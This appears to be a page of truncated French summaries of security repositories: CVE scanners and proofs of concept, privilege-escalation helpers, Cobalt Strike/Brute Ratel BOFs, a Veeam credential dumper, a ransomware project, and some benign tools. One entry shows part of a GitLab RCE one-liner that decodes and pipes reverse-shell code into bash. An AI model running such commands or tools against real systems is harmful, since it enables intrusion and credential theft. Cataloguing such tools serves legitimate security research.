shortscan

🌀 Shortscan Un outil d'énumération de noms de fichiers courts pour IIS. Fonctionnalités Shortscan est conçu pour déterminer rapidement quels fichiers avec des noms courts existent sur un serveur Web IIS. Une fois un nom court identifié, l'outil essaie de trouver automatiquement le nom complet. En...

CVE-2021-41773

Scanner CVE-2021-41773 Ce script teste la vulnérabilité de traversée de chemin et d'inclusion de fichier local dans Apache version 2.4.29. Ce script ne renvoie pas les fichiers locaux, il se contente de scanner le serveur web et de vous indiquer s'il est vulnérable ou non. Utilisation : python3...

Inspector

Assistant d'élévation de privilèges Unix RÉSUMÉ Inspector est un script Python conçu pour aider à l'élévation de privilèges, pour un environnement Linux. Après son démarrage, ce script recherche la version du noyau et vérifie si un exploit existe, charge l'historique des fichiers bash, zsh,...

CVE-2022-24716

CVE-2022-24716 Exploit pour la vulnérabilité : divulgation arbitraire de fichiers dans Icinga Web 2 2.8.6, 2.9.6, 2.10 AVERTISSEMENT : Ce script est conçu pour auditer la sécurité des systèmes. Utilisez ce script uniquement sur vos propres systèmes ou sur des systèmes pour lesquels vous disposez...

CVE-2024-24809-Proof-of-concept

Détail de CVE-2024-24809 Description Traccar est un système de suivi GPS open source. Les versions antérieures à 6.0 sont vulnérables au path traversal et au téléchargement sans restriction de fichiers de type dangereux. Étant donné que le système permet l'enregistrement par défaut, les attaquant...

CVE-2025-24071_PoC

CVE-2025-24071 / CVE-2025-24054 PoC Modification : MICROSOFT A RENOMMÉ CVE-2025-24071 EN CVE-2025-24054 🤔 Aperçu Cette vulnérabilité Windows, plus précisément dans 'explorer.exe', nous permet de recevoir un hash NetNTLMv2 d'une victime simplement en extrayant un fichier .zip. Utilisation Exécutez...

BRC4-BOF-Artillery

Générique Ce dépôt contient une collection de BOFs génériques que j'ai écrits sur une période donnée. Ce dépôt se concentre uniquement sur le portage et l'exécution, sans modifier la source d'origine pour la stabilité. Bien que je puisse effectuer d'autres tests à l'avenir, cela n'est pas...

CVE-2021-46365

CVE-2021-46365 : Analyse XML non sécurisée dans Magnolia CMS Un problème dans la fonction Export de Magnolia v6.2.3 et versions antérieures permet aux attaquants d'exécuter des attaques par entité externe XML via un fichier XLF spécialement conçu. Divulgation du fournisseur : La divulgation du...

sops

SOPS : Opérations de Secrets SOPS est un éditeur de fichiers chiffrés qui supporte les formats YAML, JSON, ENV, INI et BINAIRE et chiffre avec AWS KMS, GCP KMS, Azure Key Vault, HuaweiCloud KMS, age et PGP. démo .. image:: https://i.imgur.com/X0TM5NI.gif .. image::...

GLPwn

GLPwn Un outil de piratage GLPI, utilisant le listage de répertoires Apache et/ou CVE-2020-15175 pour extraire des fichiers et des sessions valides. Qui est vulnérable ? Toute instance GLPI qui a déjà le listage de répertoires Apache activé sur le dossier /files Toutes les instances GLPI...

rootkit-detection-ebpf-time-trace

Détection de rootkits par traçage temporel eBPF Ce dépôt contient du code pour collecter des mesures de temps des fonctions du noyau qui sont manipulées par les rootkits lorsqu'ils masquent des fichiers, ainsi qu'une méthode de détection semi-supervisée qui analyse les décalages des temps...

CVE-2020-10560-Key-Recovery

CVE-2020-10560 Key Recovery AES Ce PoC récupère la sitekey pour OSSN 5.3 et supérieur. Pour plus d'informations, voir http://techanarchy.net/blog/cve-2020-10560-ossn-arbitrary-file-read...

PackMyPayload

PackMyPayload - Menace émergente des malwares conteneurisés Accéder aux formats supportés Cet outil prend un fichier ou un répertoire en entrée et les intègre dans un fichier de sortie agissant comme une archive/un conteneur. Il peut servir de preuve de concept pour présenter le risque émergent...

CVE-2024-53677

CVE-2024-53677 - Environnement de reproduction de la vulnérabilité d'exécution de code à distance RCE dans Apache Struts 2 Ce dépôt fournit un environnement basé sur des conteneurs pour reproduire la vulnérabilité CVE-2024-53677 dans Apache Struts 2. Cette vulnérabilité implique un contournement ...

CVE-2017-9798

CVE-2017-9798 Ce petit script vérifie un environnement d'hébergement partagé pour la CVE-2017-9798 et se termine avec un code de retour 1 si un fichier .htaccess vulnérable a été trouvé...

VeeamDumper-BOF

Veeam Dumper BOF Un BOF d'extraction d'identifiants pour Veeam Backup and Replication et Veeam One par Stephen Munro et Logan Kroeger de @MWRCyberSec. Le BOF doit être exécuté dans un beacon Admin sur un serveur Veeam One ou Veeam Backup and Replication et prend en charge Cobalt Strike et Outflan...

Jasmin-Ransomware

!SiddhantgourInstagram-shieldInstagram-url !LinkedInlinkedin-shieldlinkedin-url !SiddhantgourTwitter-shieldTwitter-url !YoutubeYoutube-shieldYoutube-url !TelegramTelegram-shieldTelegram-url !QuoraQuora-shieldQuora-url !FacebookFacebook-shieldFacebook-url Jasmin Le Ransomware Un puissant outil...

awesome-pentest

Awesome Penetration Testing A collection of awesome penetration testing and offensive cybersecurity resources. Penetration testing is the practice of launching authorized, simulated attacks against computer systems and their physical infrastructure to expose potential security weaknesses and...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 PoC bash en une ligne pour GitLab preauth RCE CVE-2021-22205 t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

nushell

Nushell Un nouveau type de shell. Table des matières Statut Apprendre Nu Installation Configuration Philosophie Pipelines Ouverture de fichiers Plugins Objectifs Officiellement pris en charge par Contribuer Licence Statut Ce projet a atteint un niveau de qualité de produit minimum viable. De...